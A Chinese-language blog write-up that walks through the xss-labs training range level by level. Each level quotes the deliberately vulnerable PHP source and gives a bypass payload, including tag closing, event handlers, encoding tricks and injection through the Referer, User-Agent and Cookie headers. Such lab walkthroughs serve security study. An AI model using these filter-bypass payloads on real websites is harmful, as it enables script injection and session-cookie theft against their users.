XSS 挑战之旅

XSS 挑战之旅

靶场:https://github.com/do0dl3/xss-labs 在线靶场:http://test.ctf8.com/ 参考wp:http://zhuabapa.top/2019/12/10/XSS%E6%8C%91%E6%88%98%E4%B9%8B%E6%97%85/

level1

我们观察url可以发现有一个叫做 name 的GET参数,我们直接修改它就是完成一个反射型XSS

http://test.ctf8.com/level1.php?name=test <h2 align=“center”>欢迎用户test</h2>

我们通过闭合</h2>并在里面加入JS

</h2><script>alert(1)</script>

level2

level2我们同样观察前端html代码,然后通过闭合input tag的内容弹出JS

<input name="keyword" value="test">
"><script>alert(1)</script><

这里为什么我们不能像level1里面一样使用 <h2> 来进行js的注入呢,我们可以来看一下源码

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

这里是使用了函数 htmlspecialchars 来将特殊字符转换为HTML实体(无法被解析的string?),因此无法完成闭合与JS代码的执行

  • & (ampersand) becomes &amp;
  • " (double quote) becomes &quot;
  • ’ (single quote) becomes &#039;
  • < (less than) becomes &lt;
  • > (greater than) becomes &gt;

level3

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>

检查源代码,发现两边的$str都被替换了,因此我们必须要绕过这些特殊字符,利用标签内的attribute进行绕过

这边建议大家可以检查一下 检查源码 以及浏览器 inspector 里面的源码的区别,以检查源码得到的html为标准,进行引号的闭合

' onclick='alert(1)

然后补充一下关于 htmlspecialchars 的使用,默认是不过滤引号的,可以在参数中设置flag来进行过滤,也就是为什么我们在这里还可以使用引号来进行绕过

level4

检查源码的内容,发现这里对于括号都进行了替换,但是还是没有加入对于引号的检查和转换,所以还是和level3一样的套路

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">

这次需要用双引号,建议大家多做尝试,然后看一下源码的显示

" onclick="alert(1)

level5

检查源码,对于 <script> 以及 on 进行了替换,那么我们就需要找到新的注入姿势,

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">

我们通过用 <a> 直接写入一个链接来进行js的执行

"> <a href=javascript:alert(1)> XSS </a>

level6

增加了过滤的tag种类,但是可以通过改变大小写绕过

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
"> <a hRef=javascript:alert(1)> XSS </a>

level7

在level6的基础上加上了大小写的过滤,老思路,单纯的替换则可以利用双写绕过

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">

注意一下,这里还有一个 script 需要双写

"> <a hrhrefef=javascscriptript:alert(1)> XSS </a>

level8

在level7的基础上,增加了双引号的过滤,同时加入下划线对tag进行破坏

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'

我们可以使用 %09 进行换行来避免下划线,但是不能在输入框内完成,需要放在url中才能被正常解析

keyword=javascr%09ipt:alert(1)

可以使用html编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level9

在level8的基础上加入了对于url的审核,但是只检查是否存在 http:// ,放到alert的内容即可

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
?keyword=javascr%09ipt:alert('http://')&submit=添加友情链接

level10

我们仔细看源码,虽然在keyword这里做了括号的替换,导致无法闭合 <h2> 但是这里还有一个t_sort可以利用,我们要做的就是插入JS,同时让这个隐藏的输入框出现可以被点击

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">

注意要用双引号

&t_sort=" type="text" onclick="alert(1)

level11

通过观察源码我们发现level10中的t_sort也无法闭合了,但是出现了需要修改的HTTP-REFERER来完成注入

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

HTTP_USER_AGENT: " type="text" onclick="alert(1)

level12

与level11一样的套路,只不过是换一个header罢了,然后别忘了显示输入框

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">

User-Agent:" type="text" onclick="alert(1)

level13

修改cookie

setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">

Cookie: user=" type="text" onclick="alert(1)

level14

没有正常加载暂且搁置

level15

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

AngularJS ng-include 函数可以用于嵌入html

我们通过嵌入level1的内容,同样可以执行想要的代码,这里要注意过滤了括号,所以要改变我们原来用在level1的payload

?src='level1.php?name=<img src=x onerror=alert(1)>'

level16

观察源码我们可以发现level16对于很多特殊字符都做了替换

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

我们可以用html编码来绕过,但是之前的方式都需要闭合 <h3> ,但现在斜杠被过滤,我们只能采取一种新的方法,就是我们用在level15中的 img tag

keyword=<img%0asrc=1%0aonerror=alert(1)>

level17

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

embed标签可以嵌入swf文件(flash)

设置一个onmouseover事件,鼠标放到上面即可,firefox确实试不出来,chrome可以,应该是某种安全机制

?arg01=a&arg02=%20onmouseover=alert(1)

level18

level18在level17的基础上加了特殊字符的过滤,但是我们原本的payload也够用了

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
?arg01=a&arg02=%20onmouseover=alert(1)

level19

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

使用工具jpexs-decompiler 对xsf03.swf flash文件进行反汇编,找到可以放入xss注入代码的地方

首先定位到函数getURL,这里应该是会获取当前网页的url

version的内容可以决定 loc4_ 的值

检测到又 <a> 形成的link才会执行

实话实说这里我确实也没怎么搞懂,jpexs-decompiler大概就是一个和ida差不多的内容,通过反汇编flash文件,然后表达成我们看得懂的语言。

这里的话感觉就是 arg01arg02 能够形成一对flash参数的键值对,从而对flash的运行造成一些影响

那么这里就是如果设置了version的值就会引发一些参数调用,从而使我们注入的脚本能够被执行。

如果有说错的地方希望各位师傅在评论区纠正和分享正确的思路,我对这方面不熟悉,这里走个流程了解一下工具。 实际实验在本地以及网页端包括firefox,chrome也没有成功,还是贴一下晚上的payload

arg01=version&arg02=<a href="javascript:alert(1)">123</a>

level20

还是贴一下网上的payload

level20.php?arg01=a&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height
?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
Licensed under CC BY-NC-SA 4.0
Last updated on May 20, 2022 15:01 +0100
comments powered by Disqus
Cogito, ergo sum
Built with Hugo
Theme Stack designed by Jimmy